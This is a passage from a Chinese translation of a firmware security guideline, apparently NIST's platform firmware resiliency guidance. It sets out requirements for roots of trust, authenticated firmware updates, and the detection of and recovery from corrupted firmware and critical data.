保证平台固件代码和关键数据处于某种具有完整性的状态，并且受到保护以防止损坏的机制，诸如保证固件更新的合法性和完整性的过程
检测：

检测平台固件代码和关键数据于何时发生损坏或者从某种授权的状态发生更改的机制
恢复：

用于将平台固件代码和关键数据恢复至某种具有完整性的状态的机制，如果任何上述代码或者关键数据被检测为发生损坏，或者如果被迫通过某种授权机制来进行恢复。恢复被限制为恢复固件代码和关键数据的能力

第 4 章的技术指导意见围绕这些原则进行组织。第一个原则，保护，其范围和目的类似于 NIST SP 800-147，BIOS 保护指南 [1] 中的指导意见。关于保护的基本原则在此文档中得到扩展以适用于平台中的更为宽泛的一组固件和配置数据。

尽管保护机制的本意是防止针对平台固件和关键数据的破坏性和恶意攻击，这些机制在所有类别的设备上的实现可能不完美或者不现实。在这些情况下，检测和恢复机制的本意是发现并且化解攻击，从而重新得到设备的正常和安全的运行。

3.2 弹性属性

此文档中的技术指导意见根据针对单个平台设备的指导意见而写作，以使得它们广泛适用于一系列设备、平台和系统。抛开对于设备的狭窄专注，此文档的本意是通过保证底层平台具有弹性从而建立起支持系统整体弹性以对抗破坏性攻击的指导意见。

平台可能不能为其所有平台设备完整地提供保护、检测和恢复能力。哪怕只是一个设备的功能丧失也可能足以使得整个系统永久性地不能运作，如果该特别设备在启动或者运行平台中具有关键作用。作为一个整体的平台若要称其为具有对抗破坏性攻击的弹性，其中对于最小限度地恢复系统运作所必需的，以及足以恢复系统的合理的功能的那一组平台设备，其本身应该是具有弹性的。我们称这组设备为 关键平台设备。特定的弹性属性可能因平台而异。

受保护的

平台若要被看作 受保护的，所有关键平台设备必须满足 4.1 和 4.2 节的保护指导意见，但可以不完全地提供恢复设备地固件和/或关键数据的能力
可恢复的

平台若要被看作 可恢复的，所有关键平台设备必须提供 4.1 和 4.3 节所描述的检测损坏的方法，并且提供满足 4.1 和 4.4 节的指导意见的从损坏中恢复的方法
具有弹性的

平台若要被看作 具有弹性的，所有关键平台设备必须满足第 4 章的所有指导意见。非关键设备也应该满足这些要求，或者至少是如此设计的，即针对这些设备之一的攻击不会影响作为整体的平台的安全性。具有弹性的平台将会尝试防止那些能够干扰平台正确运行的攻击，同时还能提供机制以检测所发生的恶意或者意外的问题并且从中恢复

3.3 可信根和信任链

此文档中所描述的安全机制建立在可信根（RoT）之中。可信根是构成了提供一项或者多项诸如测定、存储、报告、恢复、验证和更新等具体针对安全性的功能的基础的元素。RoT 必须被设计为总是以预期的方式运作，由于它的恰当运作对于提供它的具体针对安全性的功能至关重要，并且由于它的不当行为不能被检测到。RoT 通常是信任链（CoT）中的首个元素，并且可以作为这样一条信任链中的锚点，以提供更加复杂的功能。RoT 的责任和能力可以完全在 RoT 内部实现，也可以利用通过一条植根于 RoT 的信任链由其 RoT 衍生的代理来执行。例如，当某个恢复代理（RTRec）被触发时，它将会通过启动另一个元素来引发恢复过程，该元素确定一种适当的恢复序列并且启动一连串的后续元素以执行恢复操作。图 2 提供了关于信任链如何从某个初始 RoT 建立的高层级描述。

通常，后续元素在维持由 RoT 开始的信任链中具有协助性。信任链中的组件具有提升的权限以执行安全性关键任务，诸如执行那些对于不那么受信任的软件不可用的设备更新。RoT 和 CoT 可以拥有机制以放下这些权限，一旦其安全功能执行完毕，或者如果该安全功能被确定为非必要。CoT 也可以在将控制权移交给某个非协助性的元素之前放下这些权限。

由于 RoT 对于提供关键安全功能至关重要，它们需要在设计上是安全的。确定 RoT 的可信度方面的主要考虑包括对于 RoT 的攻击面的分析，以及对于用于保护该攻击面的化解方法的评估。确保 RoT 的可信度是提供可信根的厂商的责任。厂商通常通过使得 RoT 不可变，或者通过保证在针对 RoT 的任何更新的完整性和合法性得到验证之后才执行这样的更新来保护它们。通常，RoT 运行在隔离环境中，并且运行在高于任何可能修改它的事物的权限等级之上，并且/或者能够在任何事物可能修改它们之前完成其功能，以保证其他设备不能在操作过程中攻击其行为。

此文档的 4.1 节提供了关于支持平台弹性的 RoT 的能力和属性的具体指导意见。

平台通常由大量设备组成，通常在设备以及不同制造商之间存在隔离边界。一个平台可能需要多个独立的 RoT 和 CoT 以提供对于弹性的完整覆盖。例如，硬盘控制器可能拥有不同于宿主平台的独立微控制器和固件。硬盘控制器和宿主平台可能都需要其各自独立的恢复信任链，如果它们各自的关键数据损坏。

3.4 设备关系

由于缺少能力或者功能，某些平台设备可能并不拥有它们自己的可信根以执行更新、检测或者恢复。我们将需要协助的设备称为共生设备，而将提供协助的设备称为宿主设备。依赖关系可以被如此确立，如果宿主设备和共生设备可以共同满足保护、检测和/或恢复的指导意见，而共生设备不能独立满足这些要求。这样的依赖关系可以撬动安全通讯信道或者其他技术。为了能够高效地提供协助，宿主设备需要自身满足那些关于它们所协助传递给共生设备的机制的指导意见。合在一起，宿主和共生设备提供了一条用于实现保护、检测和/或恢复的安全性指导意见的 CoT。

设备之间可能存在这样的关系，这里的信任是隐式的——即这种信任由系统架构来提供。一个设备可以从另一个设备接收关于无歧义的物理存在的指示，在此，一种隐式的信任关系已经存在。另一个设备通过可信路径发送消息这一事实意味着此设备可以信任该请求。

图 3 中的示意图显示了共生设备和宿主之间的关系的不同方面；这种关系可以位于隔离边界内部，或者跨越隔离边界、跨越设备。它还显示了在具有多个可信根、多条信任链以及多条通讯路径的情况下，不同的设备可以如何共存。

可能还存在其他关系，它们既不暗示也不要求任何信任级别。考虑一个负责接收更新的设备。该设备可以随后将这些更新传递至其他设备。由于每个设备（或者连同其宿主设备的共生设备）负责验证其自身的更新，在发布更新的设备和被提供这些更新的设备之间没有信任要求。

3.5 固件更新机制

固件保护指导意见的核心原则是保证只有合法并且经过授权的固件更新镜像可以被应用到平台设备。如果来源（例如设备、系统制造商或者其他经过授权的实体）和完整性可以被成功验证，则称此更新镜像为合法的。在应用更新之前验证镜像的技术过程称为 认证更新机制。

而授权则是许可执行某个更新的过程。尽管认证过程通常植根于设备或者系统制造商，执行更新的授权过程通常植根于设备或者系统所有者。

3.5.1 认证更新机制

认证更新机制利用数字签名以保证固件更新镜像的合法性。利用认证更新机制更新固件镜像依赖更新可信根（RTU），它包含一种签名验证算法和一个密钥存储器，该密钥存储器包含验证固件更新镜像的签名所需的公钥。此密钥存储器和签名验证算法以某种受保护的方式存储于计算机系统上，并且仅可通过使用认证更新机制或者安全本地更新机制来修改。

RTU 中的密钥存储器包含用于验证固件更新镜像的签名的公钥 [7] 或者包含该公钥的散列值 [6]，如果该公钥由固件更新镜像提供。在后一种情况下，更新机制计算由固件更新镜像提供的公钥的散列值，并且保证它和出现在密钥存储器中的某个散列值相匹配，然后才会使用提供的公钥来验证固件更新镜像的签名。

密钥存储器中的与该公钥对应的私钥有可能受到“攻击”，例如，该私钥被盗并且被曝光，获得此密钥的访问权限的攻击者可以签名无效固件，它可以损坏平台设备或者向平台中注入恶意软件。对于签名的恰当使用因此使得供货成为必需，以便从密钥攻击中恢复。一系列技术可用于从这些情况中恢复。范例可以复杂到包括密钥层级，也可以简单到包括在恢复（或者更新）镜像的其余部分时更新密钥存储器。

3.5.2 授权更新机制

系统及其支持管理软件和固件可以提供若干种授权机制以便合法地更新固件镜像。这些包括：

由用户引发的更新：厂商通常为最终用户提供能够更新固件镜像的工具。这可以是通过外部介质以执行这些更新，也可以是通过能够从用户的正常操作系统中更新固件镜像的工具。取决于系统上所实现的安全机制，这些工具可以直接更新固件镜像，或者它们可以安排在下次系统重启时更新。更新后的代码将会遇到由不同修订版本的代码写入的关键数据。更新后的代码应该保证平台继续正常工作，可以通过保持同关键数据兼容、通过更新关键数据以使其同更新后的代码兼容，或者至少是通过将关键数据的值重置为其默认值来实现。
受管理的更新：一台给定的计算机系统可能拥有基于硬件和软件的代理，它们允许系统管理员远程更新固件镜像而无需来自用户的直接介入。
回滚：在应用更新之前对其进行认证的实现可能也会在更新过程中检查版本号。在这些情况下，固件镜像可能拥有一种特殊的更新过程，用于将已安装的固件回滚至某个早期版本。例如，回滚过程可能要求用户的物理存在。此机制可以防止攻击者安装具有已知漏洞的老旧固件。
手动恢复：为了从损坏或者不能正常工作的固件中恢复，计算机系统可以提供机制以允许具有物理存在的用户在启动过程中将固件镜像替换为已知良好的版本和配置。
自动恢复：某些计算机系统能够检测固件镜像于何时损坏并且从存储在不同于损坏的镜像的位置（例如第二块闪存存储器芯片、存储设备的保护区域等）的备份固件镜像恢复。

3.5.3 安全本地更新

尽管此文档建议固件更新通过 3.5.1 节所描述的某种认证更新机制来实施，某些设备也可以支持一种安全本地更新机制。这些机制通过某种能够说明无歧义的物理存在的过程来替代授权固件更新。例如，安全本地更新机制可以被用于从某个不能利用认证更新或者自动恢复机制更新的损坏的固件镜像中恢复。安全本地更新机制也可被一位物理存在的管理员用于在一个不允许回滚的设备上将其更新至某个早期固件镜像。

为了防止远程攻击利用安全本地更新机制，这些机制验证用户是否已经物理授权该更新是至关重要的。诸如通过远程控制台同设备或者系统进行交互等远程机制不满足关于物理存在的要求。类似地，可以被运行在系统或者设备上的恶意软件伪造的机制不满足此要求。参见 3.6.2 节以获得更多细节。

然而请注意，实现了安全本地更新机制的设备潜在地易受来自恶意管理员的攻击，以及对该设备或者系统具有物理访问权限的其他攻击。额外的物理、环境和技术方面的安全性措施对于保护这些设备至关重要，但是这些超出了此文档的范围。

3.6 关于平台弹性的其他考虑

此文档并未解决购买者、用户或者 IT 管理员可能考虑到的属于平台网络弹性的某些其他考虑。关于这些其他考虑的不完全列表和讨论见下文。

3.6.1 管理

厂商在设计具有弹性的平台时应该仔细考虑它们的目标客户，以保证恰当的管理和控制策略以及配置设置能够以最好地服务于客户要求的方式来管理。策略和配置设置的管理可以在本地或者远程进行。取决于平台类型，客户可能期望安全地从远程位置完整地管理平台的能力。某些客户可能期望要求物理存在的用户批准策略更改。其他客户可能期望能够远程提取任何日志数据，或者它们可能希望阻止提取日志数据，除非通过授权的本地机制。

3.6.2 授权机制

某些恢复和管理操作可能对平台固件或者软件作出重大修改。例如，固件设置可以控制启动顺序，而软件恢复代理可能还原一份备份而删除最近创建的数据。修改这些设置可能要求平台层级的授权以表明请求此更改的实体被授权如此做。对于某些环境，诸如大型组织机构或者数据中心，专业平台管理员可以利用提供给管理平台用的凭证来远程授权操作。在其他环境中，例如消费者或者小型企业，可能没有远程平台管理员。然而某些系统可能拥有可以本地使用的平台管理员凭证。或者，某些系统可以允许用户主张平台层级的授权，通过确保物理存在的用户发出命令或者请求更改。在这些系统上，平台必须无歧义地验证物理存在的用户授权了此操作。如果正确处理，恶意软件不能伪造涉及来自物理存在的用户的确认的授权检查。我们使用“无歧义的物理存在”这一词语来指示不能被恶意软件伪造的本地用户。

无歧义的物理存在允许主张平台层级的授权（或者平台层级授权的一部分），通过表明此人正在同设备或者平台进行物理交互。通过保证恢复操作或者关键数据更改得到了物理存在的人员的授权，无歧义的物理存在提供了一种本意是要防止恶意软件的影响的管理路径。

创建能够恰当和可靠地验证来自物理存在的人员的确认的平台和设备是复杂的。专用的物理按钮或者硬件跳线可以提供一种相对直接和显式的方法，以此表明物理存在。平台设计或者部署方面的考虑可以防止某人拥有直接物理机制以便同每一个支持某种依赖无歧义的物理存在的功能的设备进行交互。在这些情况下，需要在用于验证无歧义的物理存在的机制和将要以管理员的名义执行操作的设备之间存在一条可信路径。为了满足此文档后面提到的不可绕过性的指导意见，这条可信路径，它可能包括输入/输出设备（例如人体学接口设备、显卡等）和内部总线，需要被保护以防止其被恶意软件操控。

有一系列技术可以在验证无歧义的物理存在的物理机制和平台或者设备之间提供可信路径。一个范例可能是仅当平台可以被信任为处于某种具有完整性的状态，先于恶意软件可能干扰这些过程，诸如在启动过程的早期，才可以接受或者确认来自物理存在的人员的命令。在其他情况下，系统架构可能会在服务处理器（例如 EC、BMC）和其他平台设备之间提供可信路径。

依赖无歧义的物理存在而非平台管理员凭证以授权管理操作的设备可能易受具有该设备的物理访问权限的个人的攻击。因此它的应用可能不适合于缺少强物理安全性的应用或者环境。

3.6.3 网络辅助恢复 vs. 本地恢复

在大多数情况下，通过本地从损坏中恢复的能力将会是最为简便的，能够提供最高等级的客户满意度，并且可能是必需的，如果没有网络连接性。然而公认的是，这并非总是可能的，特别是鉴于众多设备所具有的存储限制。在本地恢复不可能的情况下，网络辅助恢复可以被实现，如果以某种安全并且可信的方式实施，这可能包括使用加密、数字签名、安全传输方法等。尽管本地或者网络辅助的恢复都是可接受的实现机制，一台设备同时支持二者的能力提供了更高级别的弹性，因而是推荐的。

3.6.4 自动恢复 vs. 手动恢复

恢复可以通过三种方式之一进行：

完全自动——引发恢复或者在恢复过程中无需用户交互
部分自动——自动引发恢复，但是在恢复过程中的某些时间点要求用户交互
手动——要求用户交互以引发恢复

完全自动恢复机制可能被某些用户所偏好，由于它可以在发生大范围攻击时允许更快速的大规模恢复。

完全自动恢复可能并不被所有系统支持，或是所有用户都想要的。例如，系统可能要求管理员凭证或者授权以继续恢复过程。

手动恢复可能被某些用户所偏好，以使得平台管理员被告知发生了某些错误，然后等待管理员决定接下来将要采取何种步骤。这可能也会有用，如果平台管理员希望捕获信息以帮助取证分析。

由管理员定义的策略通常定义了手动恢复的行为和权限要求。这样的策略可能也会影响自动恢复。例如，一条由管理员定义的策略可能会限制在恢复过程中可以被安装的固件版本。设置恢复策略者必须谨慎行事。策略中所设置的固件版本可能刚好就是被成功攻击从而使得恢复成为必需的版本。简单地重写易受攻击的版本可能导致攻击/恢复的循环。

策略本身也可能成为攻击目标，因此，恢复实现的设计必须说明该策略不可用的可能性。同时，由于恢复可能是多步骤的过程，一条将会在恢复过程结束时被满足的策略要求可能在中间步骤过程中未被满足。

重写固件镜像的恢复方案可能会在恢复过程中破坏那些将会有助于分析攻击的证据。恢复方案应该在可行的情况下提供方法以保留或者记录被攻击的镜像以及其他信息，在那些恢复固件时可能会丢失该信息的情况下。

3.6.5 事件日志

记录固件和恢复相关事件的日志通常可能有助于多种目的，包括但不限于：

允许系统的平台管理员捕获关于可能导致针对平台的攻击或者实际平台攻击的信息的取证分析。这可能有助于确定平台是否可能包含未知安全漏洞，或者理解是否可能存在具有类似性质的大规模攻击。
提供一条审计路径以获知某一事件于何时发生，以及某次更新或者恢复是否得到授权、由谁授权以及何时授权。

平台和设备制造商需要决定它们的系统可能要求何种级别的事件日志记录，为这些系统考虑预想中的用户环境。记入日志的事件应该以一种能够提供对其完整性的担保，并且允许日志事件的安全恢复和传输的方式来记录。必须谨慎行事以保证对事件日志的访问权限受到控制。非授权的人员可以利用事件日志数据分析以拓宽攻击面。

第 4 章平台设备固件安全指导意见

本章针对弹性三要素：保护、检测和恢复中的每一个详细叙述平台设备的技术安全指导意见。设备可以实现本章中的一节或者多节中的要求，基于它们所意在支持的固件弹性属性，如 3.2 节所定义。4.1 节提供了关于支持这些属性的可信根的基础安全性指导意见。4.2 节提供了关于保护固件代码和关键数据的安全性指导意见。关于检测针对固件和数据的非授权修改的机制的指导意见描述于 4.3 节。最后，4.4 节具体说明了针对固件和数据恢复机制的安全性指导意见。

尽管这些指导意见是以适用于独立设备的形式编写的，一个设备可以在另一个设备的协助下实现这些指导意见。安全功能可以由设备自身实现（自包含的），或者它可以依赖于一种安全架构，在此，另一个平台设备可以为此设备提供某些或者全部安全功能。依赖另一个设备以提供必要的安全功能要求在这些设备之间具有关键信任关系，如 3.4 节所描述。这些指导意见将依赖于来自另一个设备的安全功能的设备称为 共生设备，而将为共生设备提供这些功能的设备称为 宿主设备。在这些情况下，共生设备和宿主设备共同形成了负责实现安全功能的可信根和信任链。宿主设备必须额外满足对于自包含的设备的所有要求。

将要（shall）、应该（should） 和 可以（may） 的使用如同 RFC 2119 [5] 中定义。

4.1 可信根

本节提供了关于用于支持后续的保护、检测和恢复指导意见的可信根（RoT）和信任链（CoT）的基础的指导意见。这些指导意见基于负责每一项安全属性的逻辑组件来组织：

更新可信根（RTU）负责认证固件更新和关键数据更改以支持平台保护能力
检测可信根（RTD）负责实现对于固件和关键数据的损坏的检测能力
恢复可信根（RTRec）负责在检测到损坏时以及在得到管理员指示时恢复固件和关键数据

注意，这些逻辑组件不一定是相互独立的。在很多情况下，RoT 将会成为低级平台固件的一部分，并且将会在彼此之间共享很多组件。更进一步地，尽管各个 RoT 负责那些支持某一给定的弹性属性所必需的功能，在大多数情况下，它不会在其 RoT 本身内部实现所有这些功能。如 3.3 节所描述，这些功能中的大多数将会在一条植根于 RoT 中的 CoT 中实现。RoT 是在信任链当中被内在地信任的组件，并且以某种安全的方式将信任延伸到其他组件。

4.1.1 可信根（RoT）和信任链（CoT）

安全机制将要被构建于可信根（RoT）中
如果使用了信任链（CoT），某个 RoT 将要作为 CoT 的锚点
所有 RoT 和 CoT 将要要么是不可变的，要么由能够保证所有 RoT 和 CoT 保持为某种具有完整性的状态的机制对其进行保护
位于非易失性存储器中的更新、检测和恢复信任链中的所有元素将要在平台固件中实现

注释：此指导意见，即 RoT 和 CoT 被作为平台固件的一部分而实现，仅适用于那些用于实现此论文中描述的平台弹性功能的元素。我们鼓励平台厂商维持一条始于启动固件、贯穿操作系统的信任链以提供对抗不同形式的攻击的弹性。
RoT 和 CoT 的功能将要具有弹性以防止由运行在宿主处理器所运行的操作系统之下，或者作为此操作系统的一部分的软件所试图进行的任何破坏
从宿主处理器上所运行的软件传输到平台固件的信息将要被视为不可信的
CoT 可以被延伸到包括不是来自非易失性存储器的元素。在使用之前，这些元素将要由 CoT 中的早期元素进行密码学验证
跨越设备边界，或者为共生设备提供服务的 RoT 和 CoT 将要在设备之间使用某种安全通讯信道

4.1.2 更新可信根（RTU）和更新信任链（CTU）

每一个具有可变固件的平台设备将要依赖更新可信根（RTU）或者植根于 RTU 中的更新信任链（CTU）以认证固件更新
如果 RTU 或者 CTU 是可变的，则 RTU 或者 CTU 元素将要利用一种认证更新机制来更新，如果没有贯穿于安全本地更新的物理介入。在这样一次更新过程中，RTU 或者 CTU 将要在后续重启时，甚至是如果发生了意外的灾难性事件（例如在闪存写入过程中发生断电）时总是保持可运作或者可恢复
RTU 或者 CTU 将要包含一个密钥存储器，以及一种来自 FIPS 186-4 [7] 的受批准的数字签名算法实现以验证固件更新镜像的数字签名
如果此密钥存储器是可更新的，则此密钥存储器将要利用某种认证更新机制来更新，如果没有贯穿于安全本地更新的无歧义的物理存在

注释：可更新的密钥存储器提供了一种方式以便从签名密钥的攻击中恢复，但是这可能使得此设备的密钥存储器更易受到破坏。我们鼓励使用不可更新的密钥存储器的实现者设计化解和恢复机制以应对固件签名密钥的潜在泄露的威胁。
植根于 RTU 中的认证更新机制将要成为用于更新设备固件的唯一方式，如果没有贯穿于安全本地更新中的无歧义的物理存在

4.1.3 检测可信根（RTD）和检测信任链（CTD）

每一个实现了检测能力的平台设备将要依赖于检测可信根（RTD）或者植根于 RTD 中的检测信任链（CTD）以用于它的检测
RTD 或者 CTD 将要包括或者拥有对于检测固件代码和关键数据损坏的必需信息的访问权限
植根于 RTD 的检测机制将要提供 4.3 节所具体说明的检测能力

注释：此文档提供了关于植根于低级硬件和固件中的检测能力以提供弹性对抗破坏性攻击的最小要求。然而，此文档中的任何内容都不应该被解读为禁止那些位于此信任链以外的其他检测能力。

4.1.4 恢复可信根（RTRec）和恢复信任链（CTRec）

每一个实现了恢复能力的平台设备将要依赖于恢复可信根（RTRec）或者植根于 RTRec 中的恢复信任链（CTRec）来执行其恢复过程
RTRec 或者 CTRec 将要执行恢复过程

注释：RTR 未被选作恢复可信根的首字母缩略词，由于 RTR 通常被用于指代报告可信根。因此，在整篇文档中，我们将会通过使用 RTRec 来指代恢复可信根以消除 RTR 的歧义。

4.2 保护

尽管之前的努力（例如 NIST SP 800-147 [1]、NIST SP 800-147B [2]）解决了 BIOS 的保护问题，平台中仍有其他安全关键固件并未被解决。这些包括驻留在管理控制器、服务处理器、存储设备、网络控制器和图形处理器中的固件。同时，保护必须被延伸到与受保护的固件相关联的关键数据上来，由于某些此类数据可能成为能够攻击平台完整性的攻击向量。

所有提供固件代码和关键数据保护的平台设备必须满足下列要求。

4.2.1 可变代码的保护和更新

本节具体说明了基于认证固件更新、完整性保护和安全更新机制的不可绕过性的原则的固件保护指导意见。认证更新机制利用数字签名来验证固件更新镜像的完整性和合法性。固件完整性保护防止在认证固件更新过程以外对固件进行无意或者恶意的修改。最后一个原则，不可绕过性，保证攻击者没有方式可以绕过保护机制。

4.2.1.1 认证更新机制

植根于 RTU 中的一种或者多种认证更新机制将要成为更新设备固件的唯一方式，如果没有如 3.5.3 节所定义的贯穿于安全本地更新的无歧义的物理存在。认证更新机制将要满足下列认证指导意见：

固件更新镜像将要使用如同 FIPS 186-4，数字签名标准 [7] 所具体说明的一种受批准的数字签名算法签名，它具有至少 112 位的安全强度，以符合 SP 800-57，关于密钥管理的建议——第 1 部分：总则 [8] 的要求
每一个固件更新镜像将要由某个授权实体——通常是设备制造商、平台厂商或者可信的第三方——签名以满足 SP 800-89，关于获取用于数字签名应用程序的担保的建议 [9] 的要求
新的或者恢复的固件更新镜像的数字签名将要在非易失性存储器更新过程完成之前由 RTU 或者 CTU 验证。例如，这可以通过验证内存中的更新内容然后执行活动闪存的更新来实现。在另一个范例中，这还可以通过将更新加载至闪存的某个区域，验证它，然后将该闪存区域选定为活动区域来实现

4.2.1.2 完整性保护

为了防止针对固件的无意或者恶意的修改，包含设备固件的非易失性存储区域需要被保护以防止在授权更新机制以外的这样的修改。

包含设备固件的闪存区域将要被保护，以使得它仅可通过认证更新机制或者安全本地更新机制进行修改，后者通过要求一位授权用户物理接触系统本身以指导更新来保证固件更新镜像的合法性和完整性

注释：为了保证完整性保护不能被绕过，完整性保护要么必须总是被启用，要么必须在执行 CTU 以外的代码之前被启用。硬件完整性机制相对于基于软件或者固件的机制可以提供更高的担保。这些完整性保护机制必须保证固件仅可作为认证更新或者安全本地更新的一部分而被修改。

4.2.1.3 不可绕过性

不可绕过性原则是指攻击者不应该可能在认证更新机制或者，如果受支持，安全本地更新机制以外修改设备固件。任何能够绕过认证更新机制的有意或者无意的机制可能会制造一种漏洞以允许恶意软件利用恶意或者无效的镜像来修改设备固件。这些可能包括允许访问闪存区域的开发或者诊断接口、允许直接内存访问的架构特性，或者允许操控内存的低级漏洞（例如 rowhammer 攻击）。

为了满足不可绕过性原则，这些潜在的漏洞需要被考虑进整体系统设计。这可能包括以下方面的努力：限制设备的攻击面、仔细分析设备和非标准命令集的接口，以及在生产设备中禁用开发和诊断接口。

保护机制将要保证认证更新机制从未被绕过
认证更新机制将要能够防止非授权地将设备固件更新至某个早期的合法版本，该早期版本具有某种安全漏洞，或者将会允许更新到某个具有已知安全漏洞的版本

注释：更新至早期固件版本，有时称为“回滚”，可以提供一种从某个不能正确运作的固件更新中恢复的方式。然而，非授权的回滚可能允许攻击者恢复某个具有漏洞的固件镜像，这随后可能允许攻击者损坏设备或者注入恶意软件。因此，支持回滚的设备应该包含适当的安全控制，以保证它不能被非授权实体在攻击中利用。

4.2.2 不可变代码的保护

代码可以存储于现场不可升级的存储器中，诸如只读存储器（ROM）。尽管此类存储器所带来的保护是强壮的，其代价是不能更新代码以修复 bug 以及为漏洞打补丁。系统和设备制造商应该谨慎地权衡使用现场不可升级的非易失性存储器的利弊。

如果使用，现场不可升级的存储器的写保护状态将不会可修改

4.2.3 关键平台固件的运行时保护

为了满足 4.2.1.3 节所描述的不可绕过性原则，软件或者总线控制硬件受到不能干涉 关键平台固件 的预想功能的软件的控制是至关重要的。关键平台固件是满足下列条件的所有平台固件的集合：(a) 执行任何平台固件的保护、检测、恢复和更新功能；(b) 维护关键数据安全；或者 (c) 实现用于关键数据的不可绕过的接口。

主张其符合保护要求的设备，以及依赖关键平台固件以便在操作系统运行时保护固件镜像和/或关键数据的设备，必须满足本小节的指导意见。这些指导意见的目的是建立一种环境，以使得关键平台固件在其中以同软件相隔离（保护）的方式执行。这样的隔离（保护）可以以逻辑方式（例如在基于 x86 的平台中使用系统管理模式，或者在基于 ARM 的平台中使用 TrustZone）或者物理方式（例如在连接到非宿主处理器的内存中，该处理器与宿主处理器以物理或者逻辑方式隔离）来实现。

本小节不必须应用于被归类为非关键的固件（例如，PC 风格平台上的 BIOS 的大部分内容通常是非关键的）。

如果非易失性存储器中的关键平台固件代码被复制到内存中执行（为了提升性能或者出于其他原因），那么内存中的固件程序将要被保护以防止其被软件修改，或者将要在软件启动之前完成其功能
如果关键平台固件将内存用于临时数据存储，那么此内存将要被保护以防止运行于平台上的软件的影响，直到该数据的使用完成
软件将不会能够干涉关键平台固件的预期功能，例如通过拒绝执行、修改处理器模式或者污染缓存

注释：这些指导意见并不排除对于可由具体用于同固件或者设备硬件通讯的软件写入的内存的使用，包括将内存用作更新的暂存区域。这些指导意见的本意是防止对于正在执行的代码或者关键平台固件所使用的隐私状态的非授权修改。

4.2.4 关键数据的保护

针对由设备存储并且使用的关键数据的非授权更改也可能严重影响设备的安全状态。这样的更改可能会修改或者禁用由平台提供的重要安全相关功能，或者完全阻止设备运作。尽管关键数据可能需要能够由操作系统和其他组件修改，本节中的指导意见旨在为这些更改提供一种受控的接口，并且防止那些将会使得设备处于某种无效状态的更改。

关键数据将要仅可通过设备本身或者由设备固件提供的限定接口进行修改。限定接口的范例包括由设备固件使用的私有或者公有应用程序接口（API）或者基于标准的接口。共生设备可以依赖它们的宿主设备来满足此要求
关键数据更新将要在提交关键数据更改之前由设备或者共生设备的宿主设备进行验证，以保证新的数据结构良好。验证的范例可能包括范围或者边界检查、格式检查等
关键数据更新将要由平台管理员或者授权固件更新机制的一部分来授权
关键数据更新可以使用机制以先于其使用认证关键数据
设备将要至少以保护其代码的同等程度保护其出厂默认值。此出厂默认值将要能够以和代码相同的方式进行更新

4.3 检测

本节中的指导意见描述了可以检测设备固件和关键数据在其被执行或者由设备消费之前发生非授权更改的机制。如果非授权更改被检测到，设备可以引发恢复过程，如 4.4 节所描述。检测机制对于对其固件或者关键数据缺乏强保护的设备特别重要。然而，这些机制也可以提供一种方式以检测尝试实现 4.2 节中的指导意见的设备中的固件或者关键数据保护中的错误。

所有对其固件代码和关键数据提供损坏检测的设备必须满足下列指导意见。

4.3.1 损坏的代码的检测

在设备上执行非授权或者损坏的固件可能损坏设备、向系统中注入恶意软件，或者以其他方式影响设备或者包含它的系统的安全功能和能力。下列指导意见描述了在启动过程中利用检测可信根（RTD）验证固件完整性的机制，如 4.1.3 节所详细叙述。尽管密码学完整性检查是理想的，不论是由设备自身还是由某个宿主设备进行，某些硬件设备（例如 FPGA 或者 CPLD）可以利用其他机制以检测其代码和可编程逻辑中的损坏。

为了使得检测机制高效，设备的设计需要保证即使发生了针对固件本身的成功攻击，RTD 仍然可信。

导致活动关键数据或者固件镜像的损坏，或者破坏其保护机制的成功攻击，就其自身而言将不会自发导致针对 RTD 或者检测固件镜像损坏所必需的信息的成功攻击
下列技术中的一项或者多项将要被用于 RTD 或者 CTD 以验证固件代码：
- a) 先于执行 RTD 以外的代码，利用某种受批准的数字签名算法或者密码学散列值对设备固件代码进行完整性验证
  
  注释：完整性验证也可以于运行时进行。这些机制可以植根于 RTD，也可以不植根于 RTD。
- b) 共生设备可以依赖宿主设备以执行检测。如果共生设备独立于宿主设备启动，共生设备的固件完整性验证将要在执行宿主 CTD 以外的代码之前进行。在这些情况下，下列额外的要求适用：
  1. 共生设备的固件将要根据 4.2.1 节的要求进行保护
  2. 宿主设备应该能够立即引发共生设备固件的恢复过程，然后重启该设备，如果检测到损坏
- c) 某些硬件设备（例如 FPGA、CPLD）可能拥有现场可升级的逻辑而非固件代码，通常称为配置比特流。如果这些设备没有支持密码学验证的能力，或者符合 a) 或者 b) 的测定和报告能力，它们将要使用基于硬件的机制以检测设备加载错误
- d) 其他技术（例如看门狗计时器）可以和密码学完整性检查共同使用以检测平台设备初始化过程中的其他问题
如果检测到损坏，RTD 或者 CTD 应该能够启动恢复过程以便将设备固件代码恢复为某个合法版本
检测机制应该能够创建关于损坏的通知
检测机制应该能够在检测到损坏时记录事件日志
检测机制可以能够使用由平台管理员设置的、定义了 RTD/CTD 在上述指导意见中所采取的行动的策略

4.3.2 关键数据的损坏的检测

本节描述了用于检测平台设备中的无效或者损坏的关键数据的机制。如上文所述，无效的关键数据可以使得设备不可运作或者禁用某些关键安全功能。验证关键数据是具有挑战性的，由于通常情况下，数据的本意是使得用户可配置。本节中的指导意见是建议直接验证关键数据内容或者实现其他机制以查找数据损坏的症状。

RTD 或者 CTD 将要先于其使用执行关键数据的完整性检查。完整性检查可以采用诸如针对已知有效值验证数据或者验证数据存储器的散列值等形式
无论作为完整性检查的替代方案（对于不能支持这样的能力的设备）还是作为这些检查之外的额外方案，RTD 或者 CTD 可以使用看门狗计时器以检测关键数据的潜在损坏
如果检测到关键数据的损坏，RTD 或者 CTD 将要能够启动恢复过程以恢复设备的关键数据
检测机制应该能够在检测到损坏时记录事件日志
RTD 或者 CTD 应该能够创建关于损坏的通知
RTD 或者 CTD 可以能够转发关于损坏的通知

4.4 恢复

本节描述了用于将平台固件和关键数据恢复到某种有效并且合法的状态的机制，如果任何这样的固件或者关键数据被检测为已经发生损坏，或者管理员引发手动恢复过程。

4.4.1 可变代码的恢复

本节中的固件恢复指导意见具体叙述了用于将固件恢复到某个本地存储的备份或者从其他来源下载的恢复镜像的机制。在任何一种情况下，这些指导意见具体说明了先于恢复利用认证更新机制（4.2.1.1 节）验证镜像的完整性和合法性。

固件恢复机制将要抵御那些能够损坏活动关键数据或者主固件镜像，或者破坏它们的保护机制的攻击
- a) RTRec、CTRec 以及合法的恢复固件镜像应该独立于运行的固件被保护
RTRec 或者 CTRec 将要能够获取合法的设备固件镜像
- a) 如果合法的固件镜像本地存储于非易失性存储器中，该镜像将要被保护以防止非授权修改
更新到本地存储的合法固件镜像的过程将要通过认证更新机制（4.2.1.1 节）或者安全本地更新（3.5.3 节）的方式实现
